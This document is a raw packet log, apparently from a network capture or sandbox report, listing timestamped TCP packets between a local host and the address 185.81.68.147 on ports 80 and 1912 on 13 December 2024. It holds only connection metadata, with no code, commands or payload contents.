Dec 13, 2024 08:19:06.167195082 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.169368029 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.169433117 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.169490099 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.171709061 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.171720028 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.171792030 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.174027920 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.174038887 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.174082994 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.176101923 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.176223040 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.176284075 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.178534985 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.178699970 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.178750992 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.180474997 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.180687904 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.180732965 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.182565928 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.182627916 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.182676077 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.184670925 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.184798956 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.184849024 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.186829090 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.186840057 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.186887980 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.188802958 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.188927889 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.188978910 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.190845013 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.191061020 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.191108942 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.192846060 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.192996025 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.193043947 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.194817066 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.195002079 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.195053101 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.196794033 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.196928978 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.196983099 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.198906898 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.198919058 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.198970079 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.200687885 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.200804949 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.200864077 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.202595949 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.202749014 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.202805042 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.204580069 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.204698086 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.204755068 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.206568003 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.206749916 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.206804037 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.208529949 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.208601952 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.208658934 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.210541010 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.210551977 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.210602999 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.212424994 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.212435961 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.212497950 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.214602947 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.214772940 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.214977026 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.216540098 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.216551065 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.216612101 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.218293905 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.218348980 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.218405008 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.220171928 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.220184088 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.220249891 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.222227097 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.222239017 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.222300053 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.224123955 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.224136114 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.224200010 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.226051092 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.226063013 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.226130009 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.227873087 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.227992058 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.228046894 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.229928017 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.229938984 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.229980946 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.231760025 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.231873989 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.231931925 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.233735085 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.233865023 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.233921051 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.235778093 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.235790014 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.235841990 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.237653971 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.237746000 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.237834930 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.239551067 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.239710093 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.239765882 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.241508007 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.241729021 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.241785049 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.244704962 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.244875908 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.244935036 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.245857954 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.246004105 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.246057987 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.247359037 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.247584105 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.247656107 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.251852989 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.252031088 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.252042055 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.252052069 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.252110004 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.252144098 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.253777981 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.253787994 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.253835917 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.255090952 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.255366087 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.255423069 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.257126093 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.257137060 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.257196903 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.259062052 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.259159088 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.259215117 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.261137009 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.261149883 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.261210918 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.262960911 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.262970924 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.263036966 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.352349997 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.352447987 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.352639914 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.353142977 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.353223085 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.353286982 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.354670048 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.355278015 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.355289936 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.355340004 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.356724024 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.356791973 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.356986046 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.358284950 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.358341932 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.358342886 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.359868050 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.360011101 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.360075951 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.361315966 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.361335039 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.361398935 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.362716913 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.362770081 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.362838030 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.364171982 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.364262104 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.364335060 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.365736961 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.365750074 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.365792036 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.367129087 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.367140055 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.367196083 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.368527889 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.368581057 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.368674994 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.369941950 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.370048046 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.370110035 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.371332884 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.371407986 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.371531010 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.372745037 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.372756004 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.372806072 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.374047995 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.374269962 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.374335051 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.375391006 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.375643015 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.375706911 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.376727104 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.376779079 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.376842022 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.378153086 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.378164053 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.378237009 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.379381895 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.379579067 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.379647970 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.380731106 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.380747080 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.380799055 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.382101059 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.382112026 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.382169008 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.383363962 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.383409023 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.383470058 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.384706020 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.384717941 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.384772062 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.385936975 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.385982990 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.386045933 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.387178898 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.387190104 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.387238979 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.388400078 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.388518095 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.388581038 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.389698029 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.389710903 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.389759064 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.391068935 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.391079903 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.391138077 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.392316103 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.392374039 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.392409086 CET	49761	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.512154102 CET	80	49761	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.637609005 CET	49768	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.757505894 CET	80	49768	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.757584095 CET	49768	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.757635117 CET	49768	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.877301931 CET	80	49768	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:06.877407074 CET	49768	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:06.997061014 CET	80	49768	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:08.212950945 CET	80	49768	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:08.213088989 CET	80	49768	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:08.213203907 CET	49768	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:08.232125044 CET	49768	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:08.340481997 CET	49773	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:08.352169037 CET	80	49768	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:08.460488081 CET	80	49773	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:08.460630894 CET	49773	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:08.460688114 CET	49773	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:08.580389977 CET	80	49773	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:08.580501080 CET	49773	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:08.701150894 CET	80	49773	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:09.900758028 CET	80	49773	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:09.901546955 CET	80	49773	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:09.902600050 CET	49773	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:09.902723074 CET	49773	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:10.012402058 CET	49779	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:10.022500992 CET	80	49773	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:10.136358023 CET	80	49779	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:10.136532068 CET	49779	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:10.136650085 CET	49779	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:10.204185009 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:10.258387089 CET	80	49779	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:10.258452892 CET	49779	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:10.324846983 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:10.378185034 CET	80	49779	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:10.659029007 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:10.659045935 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:10.659126043 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:10.659140110 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:10.659154892 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:10.659173012 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:10.659187078 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:10.659285069 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:10.659285069 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:11.513947010 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:11.606226921 CET	80	49779	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:11.606288910 CET	80	49779	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:11.606391907 CET	49779	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:11.607726097 CET	49779	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:11.633704901 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:11.715640068 CET	49785	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:11.728053093 CET	80	49779	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:11.836364985 CET	80	49785	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:11.836538076 CET	49785	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:11.836623907 CET	49785	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:11.946576118 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:11.956543922 CET	80	49785	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:11.956605911 CET	49785	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:11.961997986 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:12.076349974 CET	80	49785	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:12.081762075 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:12.394772053 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:12.400352955 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:12.520071983 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:12.832782984 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:12.859879017 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:12.981976032 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.294812918 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.294845104 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.294943094 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:13.299000025 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.299030066 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.299140930 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:13.307437897 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.355700016 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:13.432131052 CET	80	49785	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.432327986 CET	80	49785	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.432514906 CET	49785	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:13.441732883 CET	49785	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:13.561157942 CET	49791	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:13.561491966 CET	80	49785	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.681308031 CET	80	49791	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.682873964 CET	49791	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:13.724195957 CET	49791	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:13.736991882 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:13.844995975 CET	80	49791	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.846744061 CET	49791	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:13.856874943 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.856986046 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.857023001 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.857059956 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.857124090 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.857161045 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.857192993 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.857220888 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:13.966523886 CET	80	49791	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.199546099 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.246366024 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.356841087 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.476881981 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.476937056 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.476947069 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.476949930 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.476955891 CET	1912	49760	185.81.68.147	192.168.2.11
